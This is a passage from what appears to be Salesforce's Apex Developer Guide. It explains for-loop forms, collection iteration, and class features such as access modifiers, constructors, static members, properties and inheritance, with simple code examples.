where variable must be of the same primitive or sObject type as list_or_set.

• The SOQL for loop:

for (variable : [soql_query]) {

code_block
}

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or

for (variable_list : [soql_query]) {

code_block
}

Both variable and variable_list must be of the same sObject type as is returned by the soql_query.

Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.

Each is discussed further in the sections that follow.

Traditional For Loops

List or Set Iteration for Loops
Iterating Collections

Traditional For Loops

The traditional for loop in Apex corresponds to the traditional syntax used in Java and other languages. Its syntax is:

for (init_stmt; exit_condition; increment_stmt) {

code_block
}

When executing this type of for loop, the Apex runtime engine performs the following steps, in order:
1. Execute the init_stmt component of the loop. Note that multiple variables can be declared and/or initialized in this statement,
separated by commas.
2. Perform the exit_condition check. If true, the loop continues. If false, the loop exits.
3. Execute the code_block.
4. Execute the increment_stmt statement.
5. Return to Step 2.
As an example, the following code outputs the numbers 1 - 10 into the debug log. Note that an additional initialization variable, j, is
included to demonstrate the syntax:
for (Integer i = 0, j = 0; i < 10; i++) {
System.debug(i+1);
}

List or Set Iteration for Loops

The list or set iteration for loop iterates over all the elements in a list or set. Its syntax is:

for (variable : list_or_set) {

code_block
}

where variable must be of the same primitive or sObject type as list_or_set.

When executing this type of for loop, the Apex runtime engine assigns variable to each element in list_or_set, and
runs the code_block for each value.

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For example, the following code outputs the numbers 1 - 10 to the debug log:
Integer[] myInts = new Integer[]{1, 2, 3, 4, 5, 6, 7, 8, 9, 10};

for (Integer i : myInts) {

System.debug(i);
}

Iterating Collections
Collections can consist of lists, sets, or maps. Modifying a collection's elements while iterating through that collection is not supported
and causes an error. Do not directly add or remove elements while iterating through the collection that includes them.

Adding Elements During Iteration

To add elements while iterating a list, set or map, keep the new elements in a temporary list, set, or map and add them to the original
after you finish iterating the collection.

Removing Elements During Iteration

To remove elements while iterating a list, create a new list, then copy the elements you wish to keep. Alternatively, add the elements
you wish to remove to a temporary list and remove them after you finish iterating the collection.

Note: The List.remove method performs linearly. Using it to remove elements has time and resource implications.

To remove elements while iterating a map or set, keep the keys you wish to remove in a temporary list, then remove them after you
finish iterating the collection.

Classes, Objects, and Interfaces

Apex classes are modeled on their counterparts in Java. You’ll define, instantiate, and extend classes, and you’ll work with interfaces,
Apex class versions, properties, and other related class concepts.

1. Classes
As in Java, you can create classes in Apex. A class is a template or blueprint from which objects are created. An object is an instance
of a class.
2. Interfaces
An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body
of each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained
in the interface.
3. Keywords
Apex provides the keywords final, instanceof, super, this, transient, with sharing and without
sharing.
4. Annotations
An Apex annotation modifies the way that a method or class is used, similar to annotations in Java. Annotations are defined with
an initial @ symbol, followed by the appropriate keyword.

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5. Classes and Casting

In general, all type information is available at run time. This means that Apex enables casting, that is, a data type of one class can be
assigned to a data type of another class, but only if one class is a subclass of the other class. Use casting when you want to convert
an object from one data type to another.
6. Differences Between Apex Classes and Java Classes
Apex classes and Java classes work in similar ways, but there are some significant differences.
7. Class Definition Creation
Use the class editor to create a class in Salesforce.
8. Namespace Prefix
The Salesforce application supports the use of namespace prefixes. Namespace prefixes are used in managed AppExchange packages
to differentiate custom object and field names from names used by other organizations.
9. Apex Code Versions
To aid backwards-compatibility, classes and triggers are stored with the version settings for a specific Salesforce API version.
10. Lists of Custom Types and Sorting
Lists can hold objects of your user-defined types (your Apex classes). Lists of user-defined types can be sorted.
11. Using Custom Types in Map Keys and Sets
You can add instances of your own Apex classes to maps and sets.

Classes
As in Java, you can create classes in Apex. A class is a template or blueprint from which objects are created. An object is an instance of a
class.
For example, the PurchaseOrder class describes an entire purchase order, and everything that you can do with a purchase order.
An instance of the PurchaseOrder class is a specific purchase order that you send or receive.
All objects have state and behavior, that is, things that an object knows about itself, and things that an object can do. The state of a
PurchaseOrder object—what it knows—includes the user who sent it, the date and time it was created, and whether it was flagged as
important. The behavior of a PurchaseOrder object—what it can do—includes checking inventory, shipping a product, or notifying a
customer.
A class can contain variables and methods. Variables are used to specify the state of an object, such as the object's Name or Type.
Since these variables are associated with a class and are members of it, they are commonly referred to as member variables. Methods
are used to control behavior, such as getOtherQuotes or copyLineItems.
A class can contain other classes, exception types, and initialization code.
An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body of
each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the
interface.
For more general information on classes, objects, and interfaces, see http://java.sun.com/docs/books/tutorial/java/concepts/index.html
In addition to classes, Apex provides triggers, similar to database triggers. A trigger is Apex code that executes before or after database
operations. See Triggers.

1. Apex Class Definition

2. Class Variables

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3. Class Methods
Learn how to define Apex methods. Understand the differences between passing method arguments by value and passing method
arguments by reference.
4. Using Constructors
5. Access Modifiers
6. Static and Instance Methods, Variables, and Initialization Code
In Apex, you can have static methods, variables, and initialization code. However, Apex classes can't be static. You can also have
instance methods, member variables, and initialization code, which have no modifiers, and local variables.
7. Apex Properties
8. Extending a Class
You can extend a class to provide more specialized behavior.
9. Extended Class Example

Apex Class Definition

In Apex, you can define top-level classes (also called outer classes) as well as inner classes, that is, a class defined within another class.
You can only have inner classes one level deep. For example:
public class myOuterClass {
// Additional myOuterClass code here
class myInnerClass {
// myInnerClass code here
}
}

To define a class, specify the following:

1. Access modifiers:
• You must use one of the access modifiers (such as public or global) in the declaration of a top-level class.
• You don’t have to use an access modifier in the declaration of an inner class.

2. Optional definition modifiers (such as virtual, abstract, and so on)

3. Required: The keyword class followed by the name of the class
4. Optional extensions or implementations or both

Note: Avoid using standard object names for class names. Doing so causes unexpected results. For a list of standard objects, see
Object Reference for Salesforce.
Use the following syntax for defining classes:
private | public | global
[virtual | abstract | with sharing | without sharing]
class ClassName [implements InterfaceNameList] [extends ClassName]
{
// The body of the class
}

• The private access modifier declares that this class is only known locally, that is, only by this section of code. This is the default
access for inner classes—that is, if you don't specify an access modifier for an inner class, it’s considered private. This keyword
can only be used with inner classes (or with top-level test classes marked with the @IsTest annotation).

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• The public access modifier declares that this class is visible in your application or namespace.
• The global access modifier declares that this class is known by all Apex code everywhere. All classes containing methods defined
with the webservice keyword must be declared as global. If a method or inner class is declared as global, the outer,
top-level class must also be defined as global.
• The with sharing and without sharing keywords specify the sharing mode for this class. For more information, see
Use the with sharing, without sharing, and inherited sharing Keywords on page 88.
• The virtual definition modifier declares that this class allows extension and overrides. You can’t override a method with the
override keyword unless the class has been defined as virtual.
• The abstract definition modifier declares that this class contains abstract methods, that is, methods that only have their signature
declared and no body defined.

Note:
• You can’t add an abstract method to a global class after the class has been uploaded in a Managed - Released package version.
• If the class in the Managed - Released package is virtual, the method that you can add to it must also be virtual and must have
an implementation.
• You can’t override a public or protected virtual method of a global class of an installed managed package.
For more information about managed packages, see What is a Package? on page 718.

A class can implement multiple interfaces, but only extend one existing class. This restriction means that Apex doesn’t support multiple
inheritance. The interface names in the list are separated by commas. For more information about interfaces, see Interfaces on page 80.
For more information about method and variable access modifiers, see Access Modifiers on page 68.

Versioned Behavior Changes

In API version 61.0 and later, private methods are no longer overridden by an instance method with the same signature in a subclass.
This change is versioned, so to prevent the override, update your abstract or virtual classes that contain private methods to API version
61.0 or later. In API version 60.0 and earlier, if a subclass declares an instance method with the same signature as a private method in
one of its superclasses, the subclass method overrides the private method.

SEE ALSO:
Documentation Typographical Conventions
Salesforce Help: Manage Apex Classes
Salesforce Help: Developer Console Functionality

Class Variables
To declare a variable, specify the following:
• Optional: Modifiers, such as public or final, as well as static.
• Required: The data type of the variable, such as String or Boolean.
• Required: The name of the variable.
• Optional: The value of the variable.
Use the following syntax when defining a variable:

[public | private | protected | global] [final] [static] data_type variable_name

[= value]

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For example:
private static final Integer MY_INT;
private final Integer i = 1;

Versioned Behavior Changes

In API version 50.0 and later, scope and accessibility rules are enforced on Apex variables, methods, inner classes, and interfaces that are
annotated with @namespaceAccessible. For accessibility considerations, see NamespaceAccessible Annotation. For more
information on namespace-based visibility, see Namespace-Based Visibility for Apex Classes in Second-Generation Packages.

Class Methods
Learn how to define Apex methods. Understand the differences between passing method arguments by value and passing method
arguments by reference.
Apex methods are comprised of these elements.
• Optional: Modifiers, such as public or protected.
• Required: The data type of the value returned by the method, such as String or Integer. Use void if the method doesn’t return a
value.
• Required: A list of input parameters for the method, separated by commas, each preceded by its data type, and enclosed in parentheses
(). If there are no parameters, use a set of empty parentheses. A method can only have 32 input parameters.
• Required: The body of the method, enclosed in braces {}. All the code for the method, including any local variable declarations, is
contained here.

Note: All Apex types implement the Object class methods.

To define a method, use this syntax.

[public | private | protected | global] [override] [static] data_type method_name (input

parameters) {
// The body of the method
}

Note: You can use override to override methods only in classes that have been defined as virtual or abstract.

This method has the correct syntax.:

public static Integer getInt() {
return MY_INT;
}

As in Java, methods that return values can also be run as a statement if their results aren’t assigned to another variable.
User-defined methods:
• Can be used anywhere that system methods are used.
• Can be recursive.
• Can have side effects, such as DML insert statements that initialize sObject record IDs. See Apex DML Statements.
• Can refer to themselves or to methods defined later in the same class or anonymous block. Apex parses methods in two phases, so
forward declarations aren’t needed.
• Can be overloaded. For example, a method named example can be implemented in two ways, one with a single Integer parameter
and one with two Integer parameters. Depending on whether the method is called with one or two Integers, the Apex parser selects

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the appropriate implementation to execute. If the parser can’t find an exact match, it then seeks an approximate match using type
coercion rules. For more information on data conversion, see Rules of Conversion on page 51.

Note: If the parser finds multiple approximate matches, a parse-time exception is generated.

• Methods with a void return type are typically invoked as a standalone statement in Apex code. For example:
System.debug('Here is a note for the log.');

• Can have statements where the return values are run as a statement if their results aren’t assigned to another variable. This rule is
the same in Java.

Note: All user-defined types support the clone method. The clone() method in Apex is based on the clone method in
Java.

Passing Method Arguments by Value

In Apex, primitive data type arguments, such as Integer or String, are passed into methods by value. This fact means that any changes
to the arguments exist only within the scope of the method. When the method returns, the changes to the arguments are lost.
Non-primitive data type arguments, such as sObjects, are passed into methods by reference. Therefore, when the method returns, the
passed-in argument still references the same object as before the method call. Within the method, the reference can't be changed to
point to another object but the values of the object's fields can be changed.
These examples demonstrate the differences between passing primitive and non-primitive data type arguments into methods.
Example: Passing Primitive Data Type Arguments
This example shows how a primitive argument of type String is passed by value into another method. The debugStatusMessage
method in this example creates a String variable, msg, and assigns it a value. It then passes this variable as an argument to another
method, which modifies the value of this String. However, because String is a primitive type, it’s passed by value, and when the method
returns, the value of the original variable, msg, is unchanged. An assert statement verifies that the value of msg is still the old value.
public class PassPrimitiveTypeExample {
public static void debugStatusMessage() {
String msg = 'Original value';
processString(msg);
// The value of the msg variable didn't
// change; it is still the old value.
System.assertEquals(msg, 'Original value');
}

public static void processString(String s) {

s = 'Modified value';
}
}

Example: Passing Non-Primitive Data Type Arguments

This example shows how a List argument is passed by reference into the reference() method and is modified. It then shows, in
the referenceNew() method, that the List argument can't be changed to point to another List object.
First, the createTemperatureHistory method creates a variable, fillMe, that is a List of Integers and passes it to a method.
The called method fills this list with Integer values representing rounded temperature values. When the method returns, an assert
statement verifies that the contents of the original List variable has changed and now contains five values. Next, the example creates a
second List variable, createMe, and passes it to another method. The called method assigns the passed-in argument to a newly

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created List that contains new Integer values. When the method returns, the original createMe variable doesn't point to the new
List but still points to the original List, which is empty. An assert statement verifies that createMe contains no values.
public class PassNonPrimitiveTypeExample {

public static void createTemperatureHistory() {

List<Integer> fillMe = new List<Integer>();
reference(fillMe);
// The list is modified and contains five items
// as expected.
System.assertEquals(fillMe.size(),5);

List<Integer> createMe = new List<Integer>();

referenceNew(createMe);
// The list is not modified because it still points
// to the original list, not the new list
// that the method created.
System.assertEquals(createMe.size(),0);
}

public static void reference(List<Integer> m) {

// Add rounded temperatures for the last five days.
m.add(70);
m.add(68);
m.add(75);
m.add(80);
m.add(82);
}

public static void referenceNew(List<Integer> m) {

// Assign argument to a new List of
// five temperature values.
m = new List<Integer>{55, 59, 62, 60, 63};
}
}

Versioned Behavior Changes

In API version 50.0 and later, scope and accessibility rules are enforced on Apex variables, methods, inner classes, and interfaces that are
annotated with @namespaceAccessible. For accessibility considerations, see NamespaceAccessible Annotation. For more
information on namespace-based visibility, see Namespace-Based Visibility for Apex Classes in Second-Generation Packages.

SEE ALSO:
Primitive Data Types

Using Constructors
A constructor is code that is invoked when an object is created from the class blueprint. You do not need to write a constructor for every
class. If a class doesn't have a user-defined constructor, a default, no-argument constructor with the same visibility as the containing
class is generated.
The syntax for a constructor is similar to a method, but it differs from a method definition in that it never has an explicit return type and
it is not inherited by the object created from it.

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After you write the constructor for a class, you must use the new keyword in order to instantiate an object from that class, using that
constructor. For example, using the following class:
public class TestObject {

// The no argument constructor

public TestObject() {
// more code here
}
}

A new object of this type can be instantiated with this code.

TestObject myTest = new TestObject();

If you write a constructor that takes arguments, you can then use that constructor to create an object using those arguments.
If you create a constructor that takes arguments, and you still want to use a no-argument constructor, you must create your own
no-argument constructor in your code. After you create a constructor for a class, you no longer have access to the default, no-argument
public constructor.
In Apex, a constructor can be overloaded, that is, there can be more than one constructor for a class, each having different parameters.
This example illustrates a class with two constructors: one with no arguments and one that takes a simple Integer argument. It also
illustrates how one constructor calls another constructor using the this(...) syntax, also know as constructor chaining.
public class TestObject2 {

private static final Integer DEFAULT_SIZE = 10;

Integer size;

//Constructor with no arguments

public TestObject2() {
this(DEFAULT_SIZE); // Using this(...) calls the one argument constructor
}

// Constructor with one argument

public TestObject2(Integer ObjectSize) {
size = ObjectSize;
}
}

New objects of this type can be instantiated with this code.

TestObject2 myObject1 = new TestObject2(42);
TestObject2 myObject2 = new TestObject2();

Every constructor that you create for a class must have a different argument list. In this example, all of the constructors are possible.
public class Leads {

// First a no-argument constructor

public Leads () {}

// A constructor with one argument

public Leads (Boolean call) {}

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// A constructor with two arguments

public Leads (String email, Boolean call) {}

// Though this constructor has the same arguments as the

// one above, they are in a different order, so this is legal
public Leads (Boolean call, String email) {}
}

When you define a new class, you are defining a new data type. You can use class name in any place you can use other data type names,
such as String, Boolean, or Account. If you define a variable whose type is a class, any object you assign to it must be an instance of that
class or subclass.

Access Modifiers
Apex allows you to use the private, protected, public, and global access modifiers when defining methods and variables.
While triggers and anonymous blocks can also use these access modifiers, they aren’t as useful in smaller portions of Apex. For example,
declaring a method as global in an anonymous block doesn’t enable you to call it from outside of that code.
For more information on class access modifiers, see Apex Class Definition on page 62.

Note: Methods defined in an interface have the same access modifier as the interface (public or global). For more information,
see Interfaces.
By default, a method or variable is visible only to the Apex code within the defining class. Explicitly specify a method or variable as public
in order for it to be available to other classes in the same application namespace (see Namespace Prefix). You can change the level of
visibility by using the following access modifiers:
private
This access modifier is the default, and means that the method or variable is accessible only within the Apex class in which it’s defined.
If you don’t specify an access modifier, the method or variable is private.
protected
This means that the method or variable is visible to any inner classes in the defining Apex class, and to the classes that extend the
defining Apex class. You can only use this access modifier for instance methods and member variables. This setting is strictly more
permissive than the default (private) setting, just like Java.
public
This means that the method or variable is accessible by all Apex within a specific package. For accessibility by all second-generation
(2GP) managed packages that share a namespace, use public with the @NamespaceAccessible annotation. Using the
public access modifier in no-namespace packages implicitly renders the Apex code as @NamespaceAccessible.

Note: In Apex, the public access modifier isn’t the same as it is in Java. This was done to discourage joining applications,
to keep the code for each application separate. In Apex, if you want to make something public like it is in Java, you must use
the global access modifier.
For more information on namespace-based visibility, see Namespace-Based Visibility for Apex Classes in Second-Generation Packages.
global
This means the method or variable can be used by any Apex code that has access to the class, not just the Apex code in the same
application. This access modifier must be used for any method that must be referenced outside of the application, either in SOAP
API or by other Apex code. If you declare a method or variable as global, you must also declare the class that contains it as
global.

Note: We recommend using the global access modifier rarely, if at all. Cross-application dependencies are difficult to
maintain.

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To use the private, protected, public, or global access modifiers, use the following syntax:

[(none)|private|protected|public|global] declaration

For example:
// private variable s1
private string s1 = '1';

// public method getsz()

public string getsz() {
...
}

Static and Instance Methods, Variables, and Initialization Code

In Apex, you can have static methods, variables, and initialization code. However, Apex classes can't be static. You can also have instance
methods, member variables, and initialization code, which have no modifiers, and local variables.

Characteristics
Static methods, variables, and initialization code have these characteristics.
• They’re associated with a class.
• They’re allowed only in outer classes.
• They’re initialized only when a class is loaded.
• They aren’t transmitted as part of the view state for a Visualforce page.
Instance methods, member variables, and initialization code have these characteristics.
• They’re associated with a particular object.
• They have no definition modifier.
• They’re created with every object instantiated from the class in which they’re declared.
Local variables have these characteristics.
• They’re associated with the block of code in which they’re declared.
• They must be initialized before they’re used.
The following example shows a local variable whose scope is the duration of the if code block.
Boolean myCondition = true;
if (myCondition) {
integer localVariable = 10;
}

Using Static Methods and Variables

You can use static methods and variables only with outer classes. Inner classes have no static methods or variables. A static method or
variable doesn’t require an instance of the class in order to run.
Before an object of a class is created, all static member variables in a class are initialized, and all static initialization code blocks are
executed. These items are handled in the order in which they appear in the class.
A static method is used as a utility method, and it never depends on the value of an instance member variable. Because a static method
is only associated with a class, it can’t access the instance member variable values of its class.

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A static variable is static only within the scope of the Apex transaction. It’s not static across the server or the entire organization. The
value of a static variable persists within the context of a single transaction and is reset across transaction boundaries. For example, if an
Apex DML request causes a trigger to fire multiple times, the static variables persist across these trigger invocations.
To store information that is shared across instances of a class, use a static variable. All instances of the same class share a single copy of
the static variable. For example, all triggers that a single transaction spawns can communicate with each other by viewing and updating
static variables in a related class. A recursive trigger can use the value of a class variable to determine when to exit the recursion.
Suppose that you had the following class.
public class P {
public static boolean firstRun = true;
}

A trigger that uses this class could then selectively fail the first run of the trigger.
trigger T1 on Account (before delete, after delete, after undelete) {
if(Trigger.isBefore){
if(Trigger.isDelete){
if(p.firstRun){
Trigger.old[0].addError('Before Account Delete Error');
p.firstRun=false;
}
}
}
}

A static variable defined in a trigger doesn't retain its value between different trigger contexts within the same transaction, such as
between before insert and after insert invocations. Instead, define the static variables in a class so that the trigger can access these class
member variables and check their static values.
A class static variable can’t be accessed through an instance of that class. If class MyClass has a static variable myStaticVariable,
and myClassInstance is an instance of MyClass, myClassInstance.myStaticVariable isn’t a legal expression.
The same is true for instance methods. If myStaticMethod() is a static method, myClassInstance.myStaticMethod()
isn’t legal. Instead, refer to those static identifiers using the class: MyClass.myStaticVariable and
MyClass.myStaticMethod().
Local variable names are evaluated before class names. If a local variable has the same name as a class, the local variable hides methods
and variables on the class of the same name. For example, this method works if you comment out the String line. But if the String
line is included the method doesn’t compile, because Salesforce reports that the method doesn’t exist or has an incorrect signature.
public static void method() {
String Database = '';
Database.insert(new Account());
}

An inner class behaves like a static Java inner class, but doesn’t require the static keyword. An inner class can have instance member
variables like an outer class, but there’s no implicit pointer to an instance of the outer class (using the this keyword).

Note: In API version 20.0 and earlier, if a Bulk API request causes a trigger to fire, each chunk of 200 records for the trigger to
process is split into chunks of 100 records. In Salesforce API version 21.0 and later, no further splits of API chunks occur. If a Bulk
API request causes a trigger to fire multiple times for chunks of 200 records, governor limits are reset between these trigger
invocations for the same HTTP request. Static variables aren’t reset within the multiple trigger invocations for the same Bulk API
request.

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Using Instance Methods and Variables

Instance methods and member variables are used by an instance of a class, that is, by an object. An instance member variable is declared
inside a class, but not within a method. Instance methods usually use instance member variables to affect the behavior of the method.
Suppose that you want to have a class that collects two-dimensional points and plots them on a graph. The following skeleton class
uses member variables to hold the list of points and an inner class to manage the two-dimensional list of points.
public class Plotter {

// This inner class manages the points

class Point {
Double x;
Double y;

Point(Double x, Double y) {
this.x = x;
this.y = y;
}
Double getXCoordinate() {
return x;
}

Double getYCoordinate() {
return y;
}
}

List<Point> points = new List<Point>();

public void plot(Double x, Double y) {

points.add(new Point(x, y));
}

// The following method takes the list of points and does something with them
public void render() {
}
}

Using Initialization Code

Instance initialization code is a block of code in the following form that is defined in a class.
{

//code body

The instance initialization code in a class is executed each time an object is instantiated from that class. These code blocks run before
the constructor.
If you don’t want to write your own constructor for a class, you can use an instance initialization code block to initialize instance variables.
In simple situations, use an ordinary initializer. Reserve initialization code for complex situations, such as initializing a static map. A static
initialization block runs only one time, regardless of how many times you access the class that contains it.

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Static initialization code is a block of code preceded with the keyword static.
static {

//code body

Similar to other static code, a static initialization code block is only initialized one time on the first use of the class.
A class can have any number of either static or instance initialization code blocks. They can appear anywhere in the code body. The code
blocks are executed in the order in which they appear in the file, just as they are in Java.
You can use static initialization code to initialize static final variables and to declare information that’s static, such as a map of values. For
example:
public class MyClass {

class RGB {

Integer red;
Integer green;
Integer blue;

RGB(Integer red, Integer green, Integer blue) {

this.red = red;
this.green = green;
this.blue = blue;
}
}

static Map<String, RGB> colorMap = new Map<String, RGB>();

static {
colorMap.put('red', new RGB(255, 0, 0));
colorMap.put('cyan', new RGB(0, 255, 255));
colorMap.put('magenta', new RGB(255, 0, 255));
}
}

Versioned Behavior Changes

In API version 50.0 and later, scope and accessibility rules are enforced on Apex variables, methods, inner classes, and interfaces that are
annotated with @namespaceAccessible. For accessibility considerations, see NamespaceAccessible Annotation. For more
information on namespace-based visibility, see Namespace-Based Visibility for Apex Classes in Second-Generation Packages.

Apex Properties
An Apex property is similar to a variable; however, you can do additional things in your code to a property value before it’s accessed or
returned. Properties can be used to validate data before a change is made, to prompt an action when data is changed (such as altering
the value of other member variables), or to expose data that is retrieved from some other source (such as another class).
Property definitions include one or two code blocks, representing a get accessor and a set accessor:
• The code in a get accessor executes when the property is read.
• The code in a set accessor executes when the property is assigned a new value.

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If a property has only a get accessor, it’s considered read-only. If a property has only a set accessor, it’s considered write-only. A property
with both accessors is considered read-write.
To declare a property, use the following syntax in the body of a class:
Public class BasicClass {

// Property declaration
access_modifier return_type property_name {
get {
//Get accessor code block
}
set {
//Set accessor code block
}
}
}

Where:
• access_modifier is the access modifier for the property. The access modifiers that can be applied to properties include:
public, private, global, and protected. In addition, these definition modifiers can be applied: static and
transient. For more information on access modifiers, see Access Modifiers on page 68.
• return_type is the type of the property, such as Integer, Double, sObject, and so on. For more information, see Data Types on
page 24.
• property_name is the name of the property
For example, the following class defines a property named prop. The property is public. The property returns an integer data type.
public class BasicProperty {
public integer prop {
get { return prop; }
set { prop = value; }
}
}

The following code segment calls the BasicProperty class, exercising the get and set accessors:
BasicProperty bp = new BasicProperty();
bp.prop = 5; // Calls set accessor
System.assertEquals(5, bp.prop); // Calls get accessor

Note the following:

• The body of the get accessor is similar to that of a method. It must return a value of the property type. Executing the get accessor is
the same as reading the value of the variable.
• The get accessor must end in a return statement.
• We recommend that your get accessor not change the state of the object that it’s defined on.
• The set accessor is similar to a method whose return type is void.
• When you assign a value to the property, the set accessor is invoked with an argument that provides the new value.
• In API version 42.0 and later, unless a variable value is set in a set accessor, you can’t update its value in a get accessor.
• When the set accessor is invoked, the system passes an implicit argument to the setter called value of the same data type as the
property.
• Properties can’t be defined on interface.

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• Apex properties are based on their counterparts in C#, with the following differences:
– Properties provide storage for values directly. You don’t need to create supporting members for storing values.
– It’s possible to create automatic properties in Apex. For more information, see Using Automatic Properties on page 74.

Using Automatic Properties

Properties don’t require additional code in their get or set accessor code blocks. Instead, you can leave get and set accessor code blocks
empty to define an automatic property. Automatic properties allow you to write more compact code that is easier to debug and maintain.
They can be declared as read-only, read-write, or write-only. The following example creates three automatic properties:
public class AutomaticProperty {
public integer MyReadOnlyProp { get; }
public double MyReadWriteProp { get; set; }
public string MyWriteOnlyProp { set; }
}

The following code segment exercises these properties:

AutomaticProperty ap = new AutomaticProperty();
ap.MyReadOnlyProp = 5; // This produces a compile error: not writable
ap.MyReadWriteProp = 5; // No error
System.assertEquals(5, ap.MyWriteOnlyProp); // This produces a compile error: not readable

Using Static Properties

When a property is declared as static, the property's accessor methods execute in a static context. Therefore, accessors don’t have
access to non-static member variables defined in the class. The following example creates a class with both static and instance properties:
public class StaticProperty {
private static integer StaticMember;
private integer NonStaticMember;

// The following produces a system error

// public static integer MyBadStaticProp { return NonStaticMember; }

public static integer MyGoodStaticProp {

get {return StaticMember;}
set { StaticMember = value; }
}
public integer MyGoodNonStaticProp {
get {return NonStaticMember;}
set { NonStaticMember = value; }
}
}

The following code segment calls the static and instance properties:
StaticProperty sp = new StaticProperty();
// The following produces a system error: a static variable cannot be
// accessed through an object instance
// sp.MyGoodStaticProp = 5;

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// The following does not produce an error

StaticProperty.MyGoodStaticProp = 5;

Using Access Modifiers on Property Accessors

Property accessors can be defined with their own access modifiers. If an accessor includes its own access modifier, this modifier overrides
the access modifier of the property. The access modifier of an individual accessor must be more restrictive than the access modifier on
the property itself. For example, if the property has been defined as public, the individual accessor can’t be defined as global. The
following class definition shows additional examples:
global virtual class PropertyVisibility {
// X is private for read and public for write
public integer X { private get; set; }
// Y can be globally read but only written within a class
global integer Y { get; public set; }
// Z can be read within the class but only subclasses can set it
public integer Z { get; protected set; }
}

Extending a Class
You can extend a class to provide more specialized behavior.
A class that extends another class inherits all the methods and properties of the extended class. In addition, the extending class can
override the existing virtual methods by using the override keyword in the method definition. Overriding a virtual method allows you
to provide a different implementation for an existing method. This means that the behavior of a particular method is different based on
the object you’re calling it on. This is referred to as polymorphism.
A class extends another class using the extends keyword in the class definition. A class can only extend one other class, but it can
implement more than one interface.
This example shows how the YellowMarker class extends the Marker class. To run the inheritance examples in this section, first
create the Marker class.
public virtual class Marker {
public virtual void write() {
System.debug('Writing some text.');
}

public virtual Double discount() {

return .05;
}
}

Then create the YellowMarker class, which extends the Marker class.
// Extension for the Marker class
public class YellowMarker extends Marker {
public override void write() {
System.debug('Writing some text using the yellow marker.');
}
}

This code segment shows polymorphism. The example declares two objects of the same type (Marker). Even though both objects
are markers, the second object is assigned to an instance of the YellowMarker class. Hence, calling the write method on it yields

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a different result than calling this method on the first object, because this method has been overridden. However, you can call the
discount method on the second object even though this method isn't part of the YellowMarker class definition. But it’s part
of the extended class, and hence, is available to the extending class, YellowMarker. Run this snippet in the Execute Anonymous
window of the Developer Console.
Marker obj1, obj2;
obj1 = new Marker();
// This outputs 'Writing some text.'
obj1.write();

obj2 = new YellowMarker();

// This outputs 'Writing some text using the yellow marker.'
obj2.write();
// We get the discount method for free
// and can call it from the YellowMarker instance.
Double d = obj2.discount();

The extending class can have more method definitions that aren't common with the original extended class. In this example, the
RedMarker class extends the Marker class and has one extra method, computePrice, that isn't available for the Marker
class. To call the extra methods, the object type must be the extending class.
Before running the next snippet, create the RedMarker class, which requires the Marker class in your org.
// Extension for the Marker class
public class RedMarker extends Marker {
public override void write() {
System.debug('Writing some text in red.');
}

// Method only in this class

public Double computePrice() {
return 1.5;
}
}

This snippet shows how to call the additional method on the RedMarker class. Run this snippet in the Execute Anonymous window
of the Developer Console.
RedMarker obj = new RedMarker();
// Call method specific to RedMarker only
Double price = obj.computePrice();

Extensions also apply to interfaces—an interface can extend another interface. As with classes, when an interface extends another
interface, all the methods and properties of the extended interface are available to the extending interface.

Versioned Behavior Changes

In API version 50.0 and later, scope and accessibility rules are enforced on Apex variables, methods, inner classes, and interfaces that are
annotated with @namespaceAccessible. For accessibility considerations, see NamespaceAccessible Annotation. For more
information on namespace-based visibility, see Namespace-Based Visibility for Apex Classes in Second-Generation Packages.

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Extended Class Example

The following is an extended example of a class, showing all the features of Apex classes. The keywords and concepts introduced in the
example are explained in more detail throughout this chapter.
// Top-level (outer) class must be public or global (usually public unless they contain
// a Web Service, then they must be global)
public class OuterClass {

// Static final variable (constant) – outer class level only

private static final Integer MY_INT;

// Non-final static variable - use this to communicate state across triggers

// within a single request)
public static String sharedState;

// Static method - outer class level only

public static Integer getInt() { return MY_INT; }

// Static initialization (can be included where the variable is defined)

static {
MY_INT = 2;
}

// Member variable for outer class

private final String m;

// Instance initialization block - can be done where the variable is declared,

// or in a constructor
{
m = 'a';
}

// Because no constructor is explicitly defined in this outer class, an implicit,

// no-argument, public constructor exists

// Inner interface
public virtual interface MyInterface {

// No access modifier is necessary for interface methods - these are always

// public or global depending on the interface visibility
void myMethod();
}

// Interface extension
interface MySecondInterface extends MyInterface {
Integer method2(Integer i);
}

// Inner class - because it is virtual it can be extended.

// This class implements an interface that, in turn, extends another interface.
// Consequently the class must implement all methods.
public virtual class InnerClass implements MySecondInterface {

// Inner member variables

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private final String s;

private final String s2;

// Inner instance initialization block (this code could be located above)

{
this.s = 'x';
}

// Inline initialization (happens after the block above executes)

private final Integer i = s.length();

// Explicit no argument constructor

InnerClass() {
// This invokes another constructor that is defined later
this('none');
}

// Constructor that assigns a final variable value

public InnerClass(String s2) {
this.s2 = s2;
}

// Instance method that implements a method from MyInterface.

// Because it is declared virtual it can be overridden by a subclass.
public virtual void myMethod() { /* does nothing */ }

// Implementation of the second interface method above.

// This method references member variables (with and without the "this" prefix)
public Integer method2(Integer i) { return this.i + s.length(); }
}

// Abstract class (that subclasses the class above). No constructor is needed since
// parent class has a no-argument constructor
public abstract class AbstractChildClass extends InnerClass {

// Override the parent class method with this signature.

// Must use the override keyword
public override void myMethod() { /* do something else */ }

// Same name as parent class method, but different signature.

// This is a different method (displaying polymorphism) so it does not need
// to use the override keyword
protected void method2() {}

// Abstract method - subclasses of this class must implement this method

abstract Integer abstractMethod();
}

// Complete the abstract class by implementing its abstract method

public class ConcreteChildClass extends AbstractChildClass {
// Here we expand the visibility of the parent method - note that visibility
// cannot be restricted by a sub-class
public override Integer abstractMethod() { return 5; }
}

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// A second sub-class of the original InnerClass

public class AnotherChildClass extends InnerClass {
AnotherChildClass(String s) {
// Explicitly invoke a different super constructor than one with no arguments
super(s);
}
}

// Exception inner class

public virtual class MyException extends Exception {
// Exception class member variable
public Double d;

// Exception class constructor

MyException(Double d) {
this.d = d;
}

// Exception class method, marked as protected

protected void doIt() {}
}

// Exception classes can be abstract and implement interfaces

public abstract class MySecondException extends Exception implements MyInterface {
}
}

This code example illustrates:

• A top-level class definition (also called an outer class)
• Static variables and static methods in the top-level class, as well as static initialization code blocks
• Member variables and methods for the top-level class
